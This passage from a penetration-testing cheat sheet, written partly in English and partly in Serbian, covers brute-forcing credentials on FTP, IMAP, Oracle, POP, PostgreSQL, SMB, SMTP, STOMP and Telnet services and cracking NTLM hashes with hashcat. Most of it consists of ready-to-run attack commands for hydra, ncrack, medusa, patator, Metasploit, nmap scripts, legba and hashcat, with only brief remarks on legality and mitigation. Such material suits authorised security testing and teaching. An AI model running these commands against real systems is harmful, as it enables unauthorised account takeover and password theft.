FTP

Brute-forcing FTP credentials is a common technique used to gain unauthorized access to FTP servers. Attackers use automated tools to try a large number of username and password combinations until they find the correct one. This can be mitigated by enforcing strong password policies, limiting login attempts, and implementing account lockout mechanisms.

hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]

IMAP

IMAP (Internet Message Access Protocol) is a standard email protocol that stores email messages on a mail server. When a hacker is attempting to gain unauthorized access to an email account, they may use a brute force attack to guess the account password. This involves trying many different password combinations until the correct one is found. IMAP servers may have security measures in place to prevent or limit brute force attacks, such as account lockouts after multiple failed login attempts.

hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V

legba imap --username user --password data/passwords.txt --target localhost:993

IRC

Internet Relay Chat (IRC) je protokol za real-time razmenu poruka na Internetu. Brute force napadi na IRC servere mogu biti izvršeni korišćenjem alata poput Hydra ili Medusa. Ovi alati mogu pokušati različite kombinacije korisničkih imena i lozinki kako bi dobili neovlašćen pristup IRC serveru. Kada se koristi brute force napad na IRC server, važno je voditi računa o zakonitosti i etičnosti takvih aktivnosti.

OracleSQL

Brute-force attacks against OracleSQL databases can be carried out using tools like Hydra, Metasploit, or custom scripts. These tools can automate the process of trying different username and password combinations until the correct one is found. It is important to note that brute-force attacks can be time-consuming and resource-intensive, and may trigger security alerts if not done carefully.

patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017

./odat.py passwordguesser -s $SERVER -d $SID
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt

#msf1
msf> use admin/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORT 1521
msf> set SID <SID>

#msf2, this option uses nmap and it fails sometimes for some reason
msf> use scanner/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORTS 1521
msf> set SID <SID>

#for some reason nmap fails sometimes when executing this script
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>

legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt

Da biste koristili oracle_login sa patator-om, potrebno je instalirati:

pip3 install cx_Oracle --upgrade

Bruteforceovanje hešova OracleSQL-a van mreže (verzije 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2, i 11.2.0.3):

nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30

POP

Brute force attacks against POP (Post Office Protocol) servers can be used to guess usernames and passwords. This can be done using tools like Hydra, Ncrack, Medusa, or custom scripts. It's important to note that brute forcing is illegal unless you have explicit permission to test the security of a system.

hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V

# Insecure
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:110

# SSL
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl

PostgreSQL

PostgreSQL je moćan sistem za upravljanje bazama podataka koji se često koristi u aplikacijama. Kada pokušavate da probijete bazu podataka PostgreSQL, jedna od osnovnih tehnika je "brute force" napad. Ovaj napad uključuje automatsko isprobavanje različitih kombinacija korisničkih imena i lozinki sve dok se ne pronađe ispravna kombinacija za pristup bazi podataka. Ovo može biti vremenski zahtevan proces, ali može biti efikasan ako se koriste pravilno podešene alatke i tehnike.

hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP>:5432
patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>

SMB

SMB (Server Message Block) je protokol za deljenje fajlova koji se često koristi u Windows okruženjima. Brute force napadi na SMB servere mogu biti efikasni u otkrivanju slabih lozinki ili probijanju lozinki.

nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup <SMB_WORKGROUP>] [--smb-share <SMB_SHARE>]

SMTP

SMTP (Simple Mail Transfer Protocol) je standardni protokol za slanje elektronske pošte preko interneta. Kada se koristi u kontekstu hakovanja, brute force napadi se mogu koristiti za pokušaj pristupa SMTP serveru kroz isprobavanje različitih kombinacija korisničkih imena i lozinki. Ovo može biti efikasan način za otkrivanje slabih lozinki ili nedovoljno zaštićenih SMTP servera.

hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL

Slabe SSH ključeve / Predvidljivi PRNG u Debianu

Neke sisteme imaju poznate nedostatke u slučajnom semenu koje se koristi za generisanje kriptografskog materijala. To može rezultirati dramatično smanjenim prostorom ključeva koji se mogu probiti alatima poput snowdroppe/ssh-keybrute. Pre-generisani setovi slabih ključeva takođe su dostupni, poput g0tmi1k/debian-ssh.

STOMP (ActiveMQ, RabbitMQ, HornetQ i OpenMQ)

STOMP tekstualni protokol je široko korišćeni protokol za razmenu poruka koji omogućava besprekornu komunikaciju i interakciju sa popularnim servisima za redove poruka poput RabbitMQ, ActiveMQ, HornetQ i OpenMQ. Pruža standardizovan i efikasan pristup za razmenu poruka i obavljanje različitih operacija sa porukama.

legba stomp --target localhost:61613 --username admin --password data/passwords.txt

Telnet

Telnet je jednostavan protokol za udaljeni pristup koji se može koristiti za testiranje brute force napada.

hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet

Hashcat

Hashcat napadi

Napad rečnikom (-a 0) sa pravilima

Hashcat već dolazi sa folderom koji sadrži pravila ali možete pronaći druga zanimljiva pravila ovde.

hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule

Napad kombinatora liste reči

Moguće je kombinovati 2 liste reči u 1 pomoću hashcat-a.
Ako lista 1 sadrži reč "hello" a druga sadrži 2 linije sa rečima "world" i "earth". Biće generisane reči helloworld i helloearth.

# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt

# Same attack as before but adding chars in the newly generated words
# In the previous example this will generate:
## hello-world!
## hello-earth!
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!

Mask napad (-a 3)

# Mask attack with simple mask
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d

hashcat --help #will show the charsets and are as follows
? | Charset

l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ

s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff

# Mask attack declaring custom charset
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## -1 ?d?s defines a custom charset (digits and specials).
## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.

# Mask attack with variable password length
## Create a file called masks.hcmask with this content:
?d?s,?u?l?l?l?l?1
?d?s,?u?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?l?1
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask

Napad sa listom reči + maskom (-a 6) / Maskom + listom reči (-a 7)

# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d

Brute Force

Brute Forcing Windows Hashes

Brute forcing Windows hashes involves using tools like John the Ripper or Hashcat to crack the password hashes obtained from Windows systems. These tools can perform dictionary attacks, where they try a list of commonly used passwords, or brute force attacks, where they try every possible combination of characters to crack the hash.

Steps to Brute Force Windows Hashes:

Obtain Hashes: Obtain the password hashes from the Windows system you want to crack.
Choose a Tool: Select a suitable tool like John the Ripper or Hashcat for cracking the hashes.
Select Attack Type: Decide whether to use a dictionary attack or a brute force attack based on the complexity of the password.
Run the Tool: Run the selected tool with the necessary parameters to start the brute force process.
Wait for Results: Depending on the complexity of the password and the computing power available, the tool will eventually crack the hash.
Access the Password: Once the tool successfully cracks the hash, you will have access to the plaintext password.

By following these steps, you can successfully brute force Windows hashes and gain access to the passwords stored on Windows systems.

Brute-Force

Introduction

Brute-force attacks are a common method used to crack hashes. This technique involves trying all possible combinations of characters until the correct one is found. Brute-force attacks can be time-consuming but are effective against weak passwords.

Tools

There are various tools available for conducting brute-force attacks, such as Hashcat, John the Ripper, and Hydra. These tools allow you to automate the process of trying different combinations quickly and efficiently.

Methodology

Select Target Hash: Obtain the hash of the target application you want to crack.
Choose Brute-Force Tool: Select a suitable brute-force tool based on the type of hash you are trying to crack.
Set Parameters: Configure the tool with the necessary parameters, such as character set, minimum and maximum password length, etc.
Initiate Attack: Start the brute-force attack and let the tool try different combinations until the correct one is found.
Crack the Hash: Once the correct password is identified, you have successfully cracked the hash.

Tips

Use a good wordlist: Having a quality wordlist can significantly increase the chances of cracking the hash.
Understand the hash type: Different hash algorithms require different approaches, so it's essential to know the type of hash you are dealing with.
Be patient: Brute-force attacks can take time, especially for complex passwords. Patience is key to successfully cracking hashes.
